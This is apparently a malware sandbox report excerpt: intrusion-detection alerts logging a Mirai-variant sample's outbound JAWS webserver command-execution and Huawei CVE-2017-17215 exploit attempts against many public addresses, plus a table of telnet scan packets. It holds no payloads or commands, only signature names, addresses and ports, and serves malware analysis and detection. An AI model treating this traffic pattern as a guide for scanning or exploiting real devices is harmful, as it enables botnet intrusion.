2024-10-17T02:19:58.639495+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34298	171.252.203.211	80	TCP
2024-10-17T02:19:58.639544+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34032	107.83.132.43	80	TCP
2024-10-17T02:19:58.639544+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34032	107.83.132.43	80	TCP
2024-10-17T02:19:58.673436+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41198	151.218.77.28	80	TCP
2024-10-17T02:19:58.673436+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41198	151.218.77.28	80	TCP
2024-10-17T02:19:59.018474+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49824	91.197.211.245	80	TCP
2024-10-17T02:19:59.018474+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49824	91.197.211.245	80	TCP
2024-10-17T02:19:59.670453+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49520	98.25.199.244	80	TCP
2024-10-17T02:19:59.670453+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49520	98.25.199.244	80	TCP
2024-10-17T02:19:59.676761+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52730	189.216.187.204	80	TCP
2024-10-17T02:19:59.676761+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	52730	189.216.187.204	80	TCP
2024-10-17T02:19:59.783512+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42914	187.176.140.22	80	TCP
2024-10-17T02:19:59.783512+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42914	187.176.140.22	80	TCP
2024-10-17T02:20:00.805516+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41212	179.68.194.15	80	TCP
2024-10-17T02:20:00.805516+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41212	179.68.194.15	80	TCP
2024-10-17T02:20:00.805587+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33698	151.151.138.25	80	TCP
2024-10-17T02:20:00.805587+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33698	151.151.138.25	80	TCP
2024-10-17T02:20:00.827002+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50466	58.102.104.193	80	TCP
2024-10-17T02:20:00.827002+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50466	58.102.104.193	80	TCP
2024-10-17T02:20:01.059869+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37104	156.250.105.136	37215	TCP
2024-10-17T02:20:01.841902+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52558	31.21.65.53	80	TCP
2024-10-17T02:20:01.841902+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	52558	31.21.65.53	80	TCP
2024-10-17T02:20:03.822757+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57104	41.108.224.37	37215	TCP
2024-10-17T02:20:03.825401+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37276	156.244.45.27	37215	TCP
2024-10-17T02:20:03.826790+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36564	197.37.72.160	37215	TCP
2024-10-17T02:20:03.827120+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51112	156.212.166.164	37215	TCP
2024-10-17T02:20:03.831182+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52808	156.86.234.58	37215	TCP
2024-10-17T02:20:03.881282+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45150	133.63.178.6	80	TCP
2024-10-17T02:20:03.881282+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45150	133.63.178.6	80	TCP
2024-10-17T02:20:04.869983+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47266	176.26.30.177	80	TCP
2024-10-17T02:20:04.869983+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47266	176.26.30.177	80	TCP
2024-10-17T02:20:04.872031+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58844	185.216.10.132	80	TCP
2024-10-17T02:20:04.872031+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58844	185.216.10.132	80	TCP
2024-10-17T02:20:05.991865+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38186	156.239.237.253	37215	TCP
2024-10-17T02:20:06.868705+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57444	156.236.248.144	37215	TCP
2024-10-17T02:20:06.873108+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49020	156.169.58.205	37215	TCP
2024-10-17T02:20:06.923950+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49584	187.204.196.52	80	TCP
2024-10-17T02:20:06.923950+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49584	187.204.196.52	80	TCP
2024-10-17T02:20:06.931398+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39288	74.35.52.248	80	TCP
2024-10-17T02:20:06.931398+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	39288	74.35.52.248	80	TCP
2024-10-17T02:20:06.939532+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46644	75.200.133.91	80	TCP
2024-10-17T02:20:06.939532+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46644	75.200.133.91	80	TCP
2024-10-17T02:20:07.885117+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48506	41.240.141.100	37215	TCP
2024-10-17T02:20:07.945422+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44260	155.19.58.203	80	TCP
2024-10-17T02:20:07.945422+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44260	155.19.58.203	80	TCP
2024-10-17T02:20:09.425810+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37736	197.5.188.189	37215	TCP
2024-10-17T02:20:09.425812+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43326	197.218.128.208	37215	TCP
2024-10-17T02:20:09.425846+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36740	41.16.63.1	37215	TCP
2024-10-17T02:20:09.425859+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59668	41.228.113.122	37215	TCP
2024-10-17T02:20:09.425866+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59750	156.122.27.250	37215	TCP
2024-10-17T02:20:09.425908+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51606	197.92.190.171	37215	TCP
2024-10-17T02:20:09.425949+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45150	156.105.67.185	37215	TCP
2024-10-17T02:20:09.425964+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60062	41.128.37.85	37215	TCP
2024-10-17T02:20:09.425965+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55094	41.189.231.37	37215	TCP
2024-10-17T02:20:09.425999+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51776	41.49.0.88	37215	TCP
2024-10-17T02:20:09.426089+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53880	177.194.0.8	80	TCP
2024-10-17T02:20:09.426089+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53880	177.194.0.8	80	TCP
2024-10-17T02:20:09.898685+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50048	156.118.48.47	37215	TCP
2024-10-17T02:20:09.898693+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46368	197.56.18.130	37215	TCP
2024-10-17T02:20:09.898698+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40860	156.169.107.116	37215	TCP
2024-10-17T02:20:09.898713+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42330	41.137.151.118	37215	TCP
2024-10-17T02:20:09.898810+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55100	197.90.78.234	37215	TCP
2024-10-17T02:20:09.898833+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36252	41.152.11.152	37215	TCP
2024-10-17T02:20:09.905842+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53248	156.0.51.221	37215	TCP
2024-10-17T02:20:09.956567+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49836	110.16.12.243	80	TCP
2024-10-17T02:20:09.956567+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49836	110.16.12.243	80	TCP
2024-10-17T02:20:10.186409+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49154	94.254.17.127	80	TCP
2024-10-17T02:20:10.186409+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49154	94.254.17.127	80	TCP
2024-10-17T02:20:10.933088+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35474	156.80.96.190	37215	TCP
2024-10-17T02:20:10.953388+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46170	161.216.103.69	80	TCP
2024-10-17T02:20:10.953388+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46170	161.216.103.69	80	TCP
2024-10-17T02:20:10.978934+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44690	86.186.132.2	80	TCP
2024-10-17T02:20:10.978934+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44690	86.186.132.2	80	TCP
2024-10-17T02:20:11.943043+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45952	41.190.123.206	37215	TCP
2024-10-17T02:20:11.943052+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43506	41.96.50.253	37215	TCP
2024-10-17T02:20:11.959104+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40196	41.12.125.38	37215	TCP
2024-10-17T02:20:11.960978+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39536	41.165.212.160	37215	TCP
2024-10-17T02:20:12.003869+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43790	171.47.88.206	80	TCP
2024-10-17T02:20:12.003869+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43790	171.47.88.206	80	TCP
2024-10-17T02:20:13.067392+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49560	197.122.144.12	37215	TCP
2024-10-17T02:20:13.067397+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47230	197.202.99.160	37215	TCP
2024-10-17T02:20:13.067580+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54060	41.151.4.214	37215	TCP
2024-10-17T02:20:13.068790+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54100	41.45.188.67	37215	TCP
2024-10-17T02:20:13.076567+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50344	156.18.204.135	37215	TCP
2024-10-17T02:20:13.076662+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47226	156.168.94.120	37215	TCP
2024-10-17T02:20:13.076785+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52236	197.186.242.181	37215	TCP
2024-10-17T02:20:13.077524+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35662	197.110.244.192	37215	TCP
2024-10-17T02:20:13.077634+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49298	41.248.9.85	37215	TCP
2024-10-17T02:20:13.079042+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57350	41.53.129.146	37215	TCP
2024-10-17T02:20:13.082425+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35506	156.119.58.82	37215	TCP
2024-10-17T02:20:13.084275+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37682	156.127.107.233	37215	TCP
2024-10-17T02:20:13.084347+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48928	41.187.34.4	37215	TCP
2024-10-17T02:20:13.088418+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58186	197.66.150.113	37215	TCP
2024-10-17T02:20:13.961899+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39442	156.38.120.13	37215	TCP
2024-10-17T02:20:13.962264+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35886	156.107.106.233	37215	TCP
2024-10-17T02:20:13.962336+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33312	41.137.149.247	37215	TCP
2024-10-17T02:20:13.962365+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34406	197.18.155.250	37215	TCP
2024-10-17T02:20:13.962630+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53774	197.1.30.153	37215	TCP
2024-10-17T02:20:13.962683+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41354	156.255.28.70	37215	TCP
2024-10-17T02:20:13.968518+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35432	197.140.198.132	37215	TCP
2024-10-17T02:20:13.968557+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45166	197.145.67.62	37215	TCP
2024-10-17T02:20:13.968747+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55996	197.184.55.211	37215	TCP
2024-10-17T02:20:14.984117+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53970	41.143.170.145	37215	TCP
2024-10-17T02:20:14.995871+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39302	41.42.97.91	37215	TCP
2024-10-17T02:20:15.062239+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44814	166.69.38.11	80	TCP
2024-10-17T02:20:15.062239+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44814	166.69.38.11	80	TCP
2024-10-17T02:20:15.062313+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46400	45.194.68.172	80	TCP
2024-10-17T02:20:15.062313+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46400	45.194.68.172	80	TCP
2024-10-17T02:20:16.016527+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39742	197.9.50.101	37215	TCP
2024-10-17T02:20:16.033309+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40786	100.128.226.100	80	TCP
2024-10-17T02:20:16.033309+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40786	100.128.226.100	80	TCP
2024-10-17T02:20:16.044127+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36842	140.103.181.245	80	TCP
2024-10-17T02:20:16.044127+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36842	140.103.181.245	80	TCP
2024-10-17T02:20:16.089828+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49632	95.190.251.224	80	TCP
2024-10-17T02:20:16.089828+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49632	95.190.251.224	80	TCP
2024-10-17T02:20:16.127760+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54220	197.57.159.86	37215	TCP
2024-10-17T02:20:17.919903+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54958	66.126.50.28	80	TCP
2024-10-17T02:20:17.919903+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54958	66.126.50.28	80	TCP
2024-10-17T02:20:18.057377+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45988	38.21.217.178	80	TCP
2024-10-17T02:20:18.057377+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45988	38.21.217.178	80	TCP
2024-10-17T02:20:18.203180+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57412	144.198.200.70	80	TCP
2024-10-17T02:20:18.203180+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	57412	144.198.200.70	80	TCP
2024-10-17T02:20:18.923112+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42964	210.98.247.137	80	TCP
2024-10-17T02:20:18.923112+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42964	210.98.247.137	80	TCP
2024-10-17T02:20:19.238257+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48476	27.49.26.62	80	TCP
2024-10-17T02:20:19.238257+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48476	27.49.26.62	80	TCP
2024-10-17T02:20:20.950789+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45776	156.198.75.255	37215	TCP
2024-10-17T02:20:20.950792+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49754	41.189.117.52	37215	TCP
2024-10-17T02:20:20.969952+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34962	197.219.115.254	37215	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 17, 2024 02:19:41.010164022 CEST	20632	23	192.168.2.14	144.113.203.170
Oct 17, 2024 02:19:41.010364056 CEST	20632	23	192.168.2.14	177.241.76.238
Oct 17, 2024 02:19:41.010385990 CEST	20632	23	192.168.2.14	43.102.170.193
Oct 17, 2024 02:19:41.010385990 CEST	20632	23	192.168.2.14	82.45.209.48
Oct 17, 2024 02:19:41.010389090 CEST	20632	23	192.168.2.14	200.71.163.110
Oct 17, 2024 02:19:41.010386944 CEST	20632	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:41.010402918 CEST	20632	23	192.168.2.14	69.224.179.9
Oct 17, 2024 02:19:41.010446072 CEST	20632	23	192.168.2.14	156.185.168.182
Oct 17, 2024 02:19:41.010452032 CEST	20632	23	192.168.2.14	117.10.250.66
Oct 17, 2024 02:19:41.010452032 CEST	20632	23	192.168.2.14	82.62.68.31
Oct 17, 2024 02:19:41.010469913 CEST	20632	23	192.168.2.14	98.213.214.178
Oct 17, 2024 02:19:41.010469913 CEST	20632	23	192.168.2.14	111.150.9.248
Oct 17, 2024 02:19:41.010474920 CEST	20632	23	192.168.2.14	52.133.6.178
Oct 17, 2024 02:19:41.010474920 CEST	20632	23	192.168.2.14	76.152.50.5
Oct 17, 2024 02:19:41.010479927 CEST	20632	23	192.168.2.14	39.117.241.204
Oct 17, 2024 02:19:41.010479927 CEST	20632	23	192.168.2.14	88.241.38.195
Oct 17, 2024 02:19:41.010489941 CEST	20632	23	192.168.2.14	48.222.29.178
Oct 17, 2024 02:19:41.010490894 CEST	20632	23	192.168.2.14	202.138.146.13
Oct 17, 2024 02:19:41.010500908 CEST	20632	23	192.168.2.14	164.55.11.160
Oct 17, 2024 02:19:41.010509014 CEST	20632	23	192.168.2.14	94.45.60.43
Oct 17, 2024 02:19:41.010520935 CEST	20632	23	192.168.2.14	121.57.192.209
Oct 17, 2024 02:19:41.010529995 CEST	20632	23	192.168.2.14	158.211.181.85
Oct 17, 2024 02:19:41.010534048 CEST	20632	23	192.168.2.14	88.245.74.61
Oct 17, 2024 02:19:41.010538101 CEST	20632	23	192.168.2.14	181.213.69.98
Oct 17, 2024 02:19:41.010538101 CEST	20632	23	192.168.2.14	166.37.149.4
Oct 17, 2024 02:19:41.010554075 CEST	20632	23	192.168.2.14	8.130.124.168
Oct 17, 2024 02:19:41.010587931 CEST	20632	23	192.168.2.14	82.37.3.139
Oct 17, 2024 02:19:41.010595083 CEST	20632	23	192.168.2.14	94.104.210.239
Oct 17, 2024 02:19:41.010595083 CEST	20632	23	192.168.2.14	86.204.191.194
Oct 17, 2024 02:19:41.010601044 CEST	20632	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:41.010601044 CEST	20632	23	192.168.2.14	74.60.214.172
Oct 17, 2024 02:19:41.010607958 CEST	20632	23	192.168.2.14	96.190.151.176
Oct 17, 2024 02:19:41.010622978 CEST	20632	23	192.168.2.14	82.238.238.207
Oct 17, 2024 02:19:41.010623932 CEST	20632	23	192.168.2.14	160.21.205.152
Oct 17, 2024 02:19:41.010643959 CEST	20632	23	192.168.2.14	152.211.72.195
Oct 17, 2024 02:19:41.010679960 CEST	20632	23	192.168.2.14	88.162.169.225
Oct 17, 2024 02:19:41.010699987 CEST	20632	23	192.168.2.14	156.162.252.0
Oct 17, 2024 02:19:41.010691881 CEST	20632	23	192.168.2.14	96.42.30.36
Oct 17, 2024 02:19:41.010691881 CEST	20632	23	192.168.2.14	39.86.191.110
Oct 17, 2024 02:19:41.010710001 CEST	20632	23	192.168.2.14	39.104.152.36
Oct 17, 2024 02:19:41.010710955 CEST	20632	23	192.168.2.14	43.118.115.1
Oct 17, 2024 02:19:41.010713100 CEST	20632	23	192.168.2.14	152.23.242.18
Oct 17, 2024 02:19:41.010724068 CEST	20632	23	192.168.2.14	77.32.42.70
Oct 17, 2024 02:19:41.010730028 CEST	20632	23	192.168.2.14	163.101.36.245
Oct 17, 2024 02:19:41.010730028 CEST	20632	23	192.168.2.14	19.16.222.129
Oct 17, 2024 02:19:41.010731936 CEST	20632	23	192.168.2.14	134.102.57.40
Oct 17, 2024 02:19:41.010730028 CEST	20632	23	192.168.2.14	13.168.222.14
Oct 17, 2024 02:19:41.010730028 CEST	20632	23	192.168.2.14	54.38.223.158
Oct 17, 2024 02:19:41.010730028 CEST	20632	23	192.168.2.14	190.242.205.4
Oct 17, 2024 02:19:41.010730028 CEST	20632	23	192.168.2.14	116.246.203.72
Oct 17, 2024 02:19:41.010730028 CEST	20632	23	192.168.2.14	111.163.29.206
Oct 17, 2024 02:19:41.010746956 CEST	20632	23	192.168.2.14	13.197.228.153
Oct 17, 2024 02:19:41.010766983 CEST	20632	23	192.168.2.14	37.144.172.5
Oct 17, 2024 02:19:41.010780096 CEST	20632	23	192.168.2.14	98.28.75.43
Oct 17, 2024 02:19:41.010797024 CEST	20632	23	192.168.2.14	130.126.171.15
Oct 17, 2024 02:19:41.010798931 CEST	20632	23	192.168.2.14	71.139.8.117
Oct 17, 2024 02:19:41.010798931 CEST	20632	23	192.168.2.14	125.1.248.23
Oct 17, 2024 02:19:41.010798931 CEST	20632	23	192.168.2.14	156.21.115.18
Oct 17, 2024 02:19:41.010843039 CEST	20632	23	192.168.2.14	172.126.65.188
Oct 17, 2024 02:19:41.010848999 CEST	20632	23	192.168.2.14	93.141.142.177
Oct 17, 2024 02:19:41.010859013 CEST	20632	23	192.168.2.14	172.162.8.159
Oct 17, 2024 02:19:41.010885954 CEST	20632	23	192.168.2.14	199.250.119.220
Oct 17, 2024 02:19:41.010885954 CEST	20632	23	192.168.2.14	71.184.19.7
Oct 17, 2024 02:19:41.010890961 CEST	20632	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:41.010901928 CEST	20632	23	192.168.2.14	154.163.182.208
Oct 17, 2024 02:19:41.010905981 CEST	20632	23	192.168.2.14	158.203.105.171
Oct 17, 2024 02:19:41.010910034 CEST	20632	23	192.168.2.14	52.192.221.160
Oct 17, 2024 02:19:41.010910034 CEST	20632	23	192.168.2.14	121.141.64.83
Oct 17, 2024 02:19:41.010927916 CEST	20632	23	192.168.2.14	86.227.214.233
Oct 17, 2024 02:19:41.010930061 CEST	20632	23	192.168.2.14	2.82.6.37
Oct 17, 2024 02:19:41.010931015 CEST	20632	23	192.168.2.14	107.219.202.64
Oct 17, 2024 02:19:41.010946989 CEST	20632	23	192.168.2.14	85.66.115.91
Oct 17, 2024 02:19:41.010966063 CEST	20632	23	192.168.2.14	42.32.78.113
Oct 17, 2024 02:19:41.010972023 CEST	20632	23	192.168.2.14	161.96.168.145
Oct 17, 2024 02:19:41.010972023 CEST	20632	23	192.168.2.14	195.121.56.104
Oct 17, 2024 02:19:41.010972023 CEST	20632	23	192.168.2.14	87.39.230.68
Oct 17, 2024 02:19:41.010974884 CEST	20632	23	192.168.2.14	154.109.86.141
Oct 17, 2024 02:19:41.010989904 CEST	20632	23	192.168.2.14	54.80.63.130
Oct 17, 2024 02:19:41.010994911 CEST	20632	23	192.168.2.14	36.192.118.129
Oct 17, 2024 02:19:41.011003017 CEST	20632	23	192.168.2.14	213.97.177.248
Oct 17, 2024 02:19:41.011008024 CEST	20632	23	192.168.2.14	112.106.31.219
Oct 17, 2024 02:19:41.011018038 CEST	20632	23	192.168.2.14	174.250.203.155
Oct 17, 2024 02:19:41.011039019 CEST	20632	23	192.168.2.14	102.30.251.168
Oct 17, 2024 02:19:41.011044979 CEST	20632	23	192.168.2.14	1.206.171.36
Oct 17, 2024 02:19:41.011054039 CEST	20632	23	192.168.2.14	60.160.234.66
Oct 17, 2024 02:19:41.011068106 CEST	20632	23	192.168.2.14	73.204.124.139
Oct 17, 2024 02:19:41.011068106 CEST	20632	23	192.168.2.14	4.55.141.3
Oct 17, 2024 02:19:41.011081934 CEST	20632	23	192.168.2.14	189.199.84.131
